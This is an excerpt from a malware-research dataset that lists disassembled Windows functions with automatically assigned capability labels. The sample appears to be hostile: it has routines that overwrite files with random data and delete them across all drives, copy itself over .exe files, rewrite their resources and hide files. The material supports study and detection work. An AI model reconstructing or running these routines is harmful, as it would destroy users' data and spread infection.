joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4063c7
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.004216d0
push esi
push dword [ebp + 8]
call fcn.0041345e
mov esi, eax
test esi, esi
pop ecx
jge 0x4063e9
mov esi, 0x186a0
cmp esi, 0x989680
jle 0x4063fe
call fcn.00421662
mov esi, eax
imul esi, esi, 0x3e8
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00421658
cmp dword [ebp - 4], 0xffffffff
pop ecx
je 0x406487
test esi, esi
jle 0x406475
push ebx
push edi
mov edi, 0x1000
xor ebx, ebx
call fcn.00421662
cdq
mov ecx, 0x100
idiv ecx
inc ebx
cmp ebx, edi
mov byte [ebp + ebx - 0x1009], dl
jl 0x40643c
push 0
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 0x1008]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [ebp - 8]
test esi, esi
jg 0x40643a
pop edi
pop ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
call fcn.00414987
pop ecx
pop esi
leave
ret

Function at 0x40648a
Capabilities:
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push edi
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 8]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x348]
push str._s
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4065a1
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
test byte [ebp - 0x244], 0x10
je 0x406523
cmp byte [ebp - 0x218], 0x2e
je 0x40658a
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push 0x42a3b8
push eax
call edi
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push dword [ebp + 0xc]
push eax
call fcn.0040648a
add esp, 0x1c
jmp 0x40658a
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x42a3c0
lea eax, [ebp - 0x104]
push eax
call esi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x104]
push eax
call esi
lea eax, [ebp - 0x104]
push eax
call fcn.00413acb
pop ecx
push 0x80
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp byte [ebp + 0xc], 0
lea eax, [ebp - 0x104]
push eax
je 0x406584
call fcn.004063c7
jmp 0x406589
call fcn.00414987
pop ecx
lea eax, [ebp - 0x244]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4064de
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
xor eax, eax
pop ebx
leave
ret
Function at 0x40671c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
push esi
lea eax, [ebp - 0x508]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
cmp byte [ebp - 0x508], 0
lea esi, [ebp - 0x508]
je 0x4067b4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [esi]
cmp al, 0x41
je 0x4067a4
cmp al, 0x61
je 0x4067a4
mov byte [ebp - 0x108], al
push str.:System_Volume_Information
lea eax, [ebp - 0x107]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x108]
push eax
call fcn.004136ca
test eax, eax
pop ecx
je 0x4067a4
lea eax, [ebp - 0x108]
push eax
call fcn.00413acb
push 0x28
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.0040648a
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x406747
pop esi
leave
ret
Function at 0x406b0e
Capabilities:
Delete file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
and dword [ebp - 4], 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push edi
push dword [ebp + 8]
call ebx
push 0x41
pop ecx
mov esi, eax
add esi, dword [ebp + 8]
xor eax, eax
push 0x41
mov byte [ebp - 0x110], 0
lea edi, [ebp - 0x10f]
rep stosd dword es:[edi], eax
pop ecx
mov byte [ebp - 0x218], al
lea edi, [ebp - 0x217]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x418], al
push 0x7f
pop ecx
lea edi, [ebp - 0x417]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
cmp byte [esi], 0x5c
je 0x406b84
cmp esi, dword [ebp + 8]
jbe 0x406b77
dec esi
cmp byte [esi], 0x5c
jne 0x406b6c
cmp byte [esi], 0x5c
je 0x406b84
or eax, 0xffffffff
jmp 0x406ce3
push 0x458ff0
lea eax, [ebp - 0x110]
push eax
inc esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00421658
pop ecx
call fcn.00421662
push 0xa
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x110]
add edx, 4
push edx
push eax
call ebx
lea eax, [ebp + eax - 0x110]
push eax
call fcn.00413296
lea eax, [ebp - 0x110]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x418]
push str.cw__y__tk__inul___s____s_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
xor edi, edi
push edi
push edi
lea eax, [ebp - 0x418]
push eax
push 0x459540
push edi
push edi
call dword [0x458c8c]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x110]
push eax
call fcn.004136ca
test eax, eax
pop ecx
je 0x406cd3
push edi
push 0x80
push 3
push edi
push 1
push connect
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x406ccf
lea eax, [ebp - 0x218]
push esi
push eax
mov dword [ebp - 8], edi
call fcn.00421930
pop ecx
pop ecx
push esi
push esi
call ebx
push eax
lea eax, [ebp - 0x218]
push eax
call ebx
lea eax, [ebp + eax - 0x218]
push eax
call fcn.004131fb
add esp, 0xc
push edi
lea eax, [ebp - 8]
push eax
push 0x100
lea eax, [ebp - 0x418]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 8]
mov byte [ebp - 0x2ec], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00413394
test eax, eax
pop ecx
pop ecx
je 0x406cd3
mov dword [ebp - 4], 1
jmp 0x406cd3
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406ce8
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push edi
push dword [ebp + 8]
call ebx
push 0x41
pop ecx
mov esi, eax
add esi, dword [ebp + 8]
xor eax, eax
push 0x41
mov byte [ebp - 0x10c], 0
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
pop ecx
mov byte [ebp - 0x214], al
lea edi, [ebp - 0x213]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x414], al
push 0x7f
pop ecx
lea edi, [ebp - 0x413]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
cmp byte [esi], 0x5c
je 0x406d5a
cmp esi, dword [ebp + 8]
jbe 0x406d4d
dec esi
cmp byte [esi], 0x5c
jne 0x406d42
cmp byte [esi], 0x5c
je 0x406d5a
or eax, 0xffffffff
jmp 0x406e7a
push 0x458ff0
lea eax, [ebp - 0x10c]
push eax
inc esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00421658
pop ecx
call fcn.00421662
push 0xa
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x10c]
add edx, 4
push edx
push eax
call ebx
lea eax, [ebp + eax - 0x10c]
push eax
call fcn.00413296
lea eax, [ebp - 0x214]
push esi
push eax
call fcn.00421930
add esp, 0x10
push esi
push esi
call ebx
push eax
lea eax, [ebp - 0x214]
push eax
call ebx
lea eax, [ebp + eax - 0x214]
push eax
call fcn.004131fb
add esp, 0xc
xor esi, esi
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
or eax, 0xffffffff
cmp edi, eax
je 0x406e7a
push esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x214]
push eax
mov dword [ebp - 4], esi
call ebx
push eax
lea eax, [ebp - 0x214]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x414]
push str.c__y__tk__inul__z__s____s_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push esi
push esi
lea eax, [ebp - 0x414]
push eax
push 0x459540
push esi
push esi
call dword [0x458c8c]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4075c2
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x348
push ebx
push esi
push edi
mov edi, dword [ebp + 0x7c]
push 5
inc edi
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 0x78]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
and dword [ebp + 0x7c], 0
lea eax, [ebp - 0x2d8]
push str._s
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x2d8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x407729
test byte [ebp - 0xd0], 0x10
je 0x407660
cmp byte [ebp - 0xa4], 0x2e
je 0x407660
cmp edi, 3
jg 0x407660
lea eax, [ebp - 0xa4]
push eax
push dword [ebp + 0x78]
lea eax, [ebp - 0x1d4]
push 0x42a3b8
push eax
call esi
lea eax, [ebp - 0x1d4]
push edi
push eax
call fcn.004075c2
add esp, 0x18
test eax, eax
jne 0x40773c
lea eax, [ebp - 0xa4]
push 0x42a564
push eax
call fcn.00421840
test eax, eax
pop ecx
pop ecx
je 0x40767a
mov byte [eax], 0
lea eax, [ebp - 0xa4]
push str..exe
push eax
call fcn.00413394
test eax, eax
pop ecx
pop ecx
jne 0x4076f5
lea eax, [ebp - 0xa4]
push eax
call fcn.004145fe
test al, al
pop ecx
je 0x4076f5
lea eax, [ebp - 0xa4]
push eax
call fcn.004074ef
test al, al
pop ecx
je 0x4076f5
lea eax, [ebp - 0xa4]
push eax
call fcn.00407487
test al, al
pop ecx
jne 0x4076f5
mov eax, dword [0x457880]
mov cl, byte [ebp - 0xa4]
shl eax, 6
cmp cl, byte [eax + 0x454640]
jne 0x4076e8
mov cl, byte [ebp - 0xa3]
cmp cl, byte [eax + 0x454641]
je 0x4076f5
lea eax, [ebp - 0xa4]
push eax
call fcn.004074bd
pop ecx
inc dword [ebp + 0x7c]
lea eax, [ebp - 0xd0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x407729
cmp dword [0x457880], 0xc7
ja 0x407729
cmp dword [ebp + 0x7c], 0x1e
jl 0x407619
cmp edi, 1
je 0x407619
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov eax, esi
pop esi
pop ebx
add ebp, 0x70
leave
ret
xor esi, esi
inc esi
jmp 0x40772b

Function at 0x40787c
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x80
push esi
push dword [ebp + 0x10]
xor ebx, ebx
mov dword [ebp - 4], ebx
call edi
push ebx
push esi
push 2
push ebx
push 2
push 0x40000000
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4078c7
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0x10]
call fcn.004136df
cmp byte [ebp + 0x14], bl
pop ecx
je 0x4078f3
cmp byte [ebp + 0x14], 1
jne 0x4078e6
push 5
jmp 0x4078ee
cmp byte [ebp + 0x14], 2
jne 0x4078f3
push 7
push dword [ebp + 0x10]
call edi
mov eax, dword [ebp + 0xc]
cmp dword [ebp - 4], eax
pop edi
pop esi
sete al
pop ebx
leave
ret
Function at 0x408a88
Capabilities:
Get system information on windows

Disassembly:
push ebp
lea ebp, [esp - 0x64]
sub esp, 0xc0
push ebx
push esi
push edi
push 0x24
lea eax, [ebp + 0x40]
push 0
push eax
call fcn.00421540
mov esi, 0x9c
push esi
lea eax, [ebp - 0x5c]
push 0
push eax
call fcn.00421540
add esp, 0x18
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x5c], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push eax
call esi
test eax, eax
jne 0x408ad7
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x5c], 0x94
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.GetNativeSystemInfo
mov ebx, str.kernel32.dll
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
test eax, eax
je 0x408aff
lea ecx, [ebp + 0x40]
push ecx
call eax
jmp 0x408b09
lea eax, [ebp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push str.GetProductInfo
push ebx
call esi
push eax
call edi
cmp dword [ebp - 0x4c], 2
pop edi
pop esi
pop ebx
je 0x408b21
xor al, al
jmp 0x408b63
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp + 0x70]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*2]
mov ecx, dword [ebp + 0x6c]
mov dword [ecx], eax
mov al, 1
cmp byte [ebp + 0x3e], al
setne cl
mov byte [edx], cl
movzx ecx, word [ebp + 0x38]
mov edx, dword [ebp + 0x74]
mov dword [edx], ecx
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp + 0x7c]
and ecx, 0xffff
cmp word [ebp + 0x40], 0
mov dword [edx], ecx
mov edx, dword [ebp + 0x78]
sete cl
mov byte [edx], cl
add ebp, 0x64
leave
ret

Function at 0x408ce7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push esi
xor ebx, ebx
push 0x7d0
mov byte [0x457aa0], bl
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [0x457aa8], eax
push 0x32
lea eax, [ebp - 0x204]
push eax
push 0x42fbc8
mov byte [0x457aa0], 1
call fcn.00413043
add esp, 0xc
push eax
push 0x4578a0
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp + 8]
mov word [0x457890], 2
call fcn.004134ef
add esp, 0x10
push 0x50
mov dword [0x457894], eax
call dword [0x458cdc]
mov word [0x457892], ax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [ebp + 0x10]
cmp esi, 1
mov dword [0x457aa4], eax
jl 0x408d89
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push 0x408c79
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
dec esi
jne 0x408d73
pop esi
pop ebx
leave
ret

Function at 0x408f73
Capabilities:
Set file attributes

Disassembly:
push 0x80
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [esp + 4]
call fcn.004136ca
test eax, eax
pop ecx
je 0x408fd5
push edi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x408fd4
push esi
push 1
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
test esi, esi
je 0x408fcc
push esi
push 0x408f53
push 0xe
push edi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop esi
pop edi
ret
Function at 0x409047
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push esi
push edi
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [ebp + 0xc]
inc ebx
cmp ebx, 1
lea eax, [ebp - 0x348]
jne 0x409081
push dword [ebp + 0x18]
push dword [ebp + 8]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x409093
push dword [ebp + 8]
push str._s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp + 0xc], eax
je 0x409194
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
test byte [ebp - 0x244], 0x10
je 0x409118
cmp byte [ebp - 0x218], 0x2e
je 0x40917c
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push 0x42a3b8
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp + 0x18]
lea eax, [ebp - 0x104]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ebx
push eax
call fcn.00409047
add esp, 0x24
test eax, eax
je 0x40917c
cmp ebx, 3
jg 0x40917c
xor esi, esi
inc esi
jmp 0x409196
lea eax, [ebp - 0x218]
push str..exe
push eax
call fcn.00413394
test eax, eax
pop ecx
pop ecx
je 0x40917c
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call esi
push 0x42a3c0
lea eax, [ebp - 0x104]
push eax
call edi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x104]
push eax
call edi
lea eax, [ebp - 0x104]
push eax
call fcn.004136ca
test eax, eax
pop ecx
je 0x40917c
lea eax, [ebp - 0x104]
push eax
call fcn.00409001
cmp eax, dword [ebp + 0x10]
pop ecx
jge 0x4091a6
lea eax, [ebp - 0x244]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4090bf
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0x14]
call esi
jmp 0x409113

Function at 0x409255
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push edi
push 0x80
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x41
xor eax, eax
pop ecx
mov byte [ebp - 0x108], 0
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x108]
push eax
call fcn.004091b7
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call fcn.00408f73
add esp, 0xc
pop edi
leave
ret
Function at 0x4092a2
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push esi
push edi
mov esi, 0x457ab8
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor edi, edi
cmp eax, edi
mov dword [ebp - 4], eax
jbe 0x409323
push ebx
push edi
push 0x80
push 4
push edi
push 2
push 0x40000000
lea eax, [ebp - 0x88]
push 0x26
push eax
call fcn.00413365
pop ecx
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x409322
push 2
push edi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1000
push edi
push esi
call fcn.00421540
add esp, 0xc
pop ebx
pop edi
pop esi
leave
ret
Function at 0x40bd8a
Capabilities:
Set file attributes

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebp
push esi
push edi
push 0x458ff0
mov esi, 0x4590f8
push esi
call ebx
call fcn.00413332
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
and eax, 7
add eax, 6
push eax
push esi
call ebp
add eax, esi
push eax
call fcn.00413296
push esi
call fcn.00413973
add esp, 0xc
push 7
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x42a3c0
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
mov edi, 0x459200
push edi
call ebx
call fcn.00413332
push 0xa
pop ecx
xor edx, edx
div ecx
add edx, 0xc
push edx
push edi
call ebp
add eax, edi
push eax
call fcn.00413296
push edi
call fcn.00413973
add esp, 0xc
push 7
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x42a3c0
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x40be23
Capabilities:
Get disk information
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push esi
push edi
push 0xc
xor eax, eax
pop ecx
xor ebx, ebx
mov byte [ebp - 0x40], bl
lea edi, [ebp - 0x3f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0xf
xor eax, eax
pop ecx
mov byte [ebp - 0x80], bl
lea edi, [ebp - 0x7f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0xc], 0x32
mov dword [ebp - 8], 0x63
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x40]
push eax
mov esi, 0x458d98
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor eax, eax
mov byte [ebp - 4], bl
lea edi, [ebp - 3]
stosw word es:[edi], ax
push 3
stosb byte es:[edi], al
lea eax, [ebp - 4]
push 0x458ee8
push eax
call fcn.00421200
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0xa
lea eax, [ebp - 0x80]
push eax
push dword [ebp - 8]
call fcn.00429422
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40c240
Capabilities:
Get hostname

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0xc4
push edi
push 0xf
xor eax, eax
pop ecx
mov byte [ebp + 0x30], 0
lea edi, [ebp + 0x31]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x1f
xor eax, eax
pop ecx
mov byte [ebp - 0x50], 0
lea edi, [ebp - 0x4f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp + 0x70]
push eax
lea eax, [ebp - 0x50]
push eax
mov dword [ebp + 0x70], 0x7f
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x50]
push eax
movzx eax, byte [ebp + 0x7c]
push eax
lea eax, [ebp + 0x30]
push eax
call fcn.004131fb
add esp, 0xc
lea eax, [ebp + 0x30]
push eax
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
pop edi
jne 0x40c2b2
xor al, al
jmp 0x40c2bb
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add ebp, 0x74
leave
ret
Function at 0x40c3e6
Capabilities:
Terminate process

Disassembly:
push dword [0x45965c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
push 0
push dword [esp + 0xc]
push 0x458de0
push 0
push 0
call dword [0x458c8c]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x40cc51
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
push edi
push 0x4a
pop ecx
xor eax, eax
mov byte [ebp - 0x234], 0
lea edi, [ebp - 0x233]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x41
pop ecx
xor eax, eax
mov byte [ebp - 0x108], 0
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x42a77c
lea eax, [ebp - 0x234]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x459310
lea eax, [ebp - 0x234]
push eax
call esi
push 0x42a778
lea eax, [ebp - 0x234]
push eax
call esi
mov ebx, 0x458ff0
push ebx
lea eax, [ebp - 0x108]
push eax
call edi
call fcn.00413332
push 3
pop ecx
xor edx, edx
div ecx
lea eax, [ebp - 0x108]
add edx, 5
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x108]
push eax
call fcn.00413296
pop ecx
pop ecx
push str..exe
lea eax, [ebp - 0x108]
push eax
call esi
cmp byte [0x459660], 0
jne 0x40cd35
lea eax, [ebp - 0x108]
push eax
call fcn.004136ca
test eax, eax
pop ecx
je 0x40cd35
lea eax, [ebp - 0x108]
push eax
call fcn.0041345e
cmp eax, 0x30d40
pop ecx
jae 0x40cd68
push 0x80
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
lea eax, [ebp - 0x108]
push eax
push 0x458de0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x108]
push eax
call fcn.004017f4
pop ecx
push 1
push ebx
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x108]
push eax
push 0
push 0
call dword [0x458c8c]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40ce0c
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, 0x459310
push ebx
call esi
cmp eax, 8
jl 0x40cec7
push edi
push 0x41
pop ecx
push dword [ebp + 8]
xor eax, eax
mov byte [ebp - 0x10c], 0
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x10c]
push eax
call esi
lea edi, [ebp + eax - 0x10c]
cmp byte [edi - 1], 0x5c
je 0x40ce70
mov byte [edi], 0x5c
inc edi
mov byte [edi], 0
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 4], 0x10
push dword [ebp - 4]
push edi
call fcn.00413296
pop ecx
pop ecx
push str..exe
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x80
lea eax, [ebp - 0x10c]
push eax
call esi
push 0
lea eax, [ebp - 0x10c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 7
lea eax, [ebp - 0x10c]
push eax
call esi
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x16
jle 0x40ce7d
pop edi
pop esi
pop ebx
leave
ret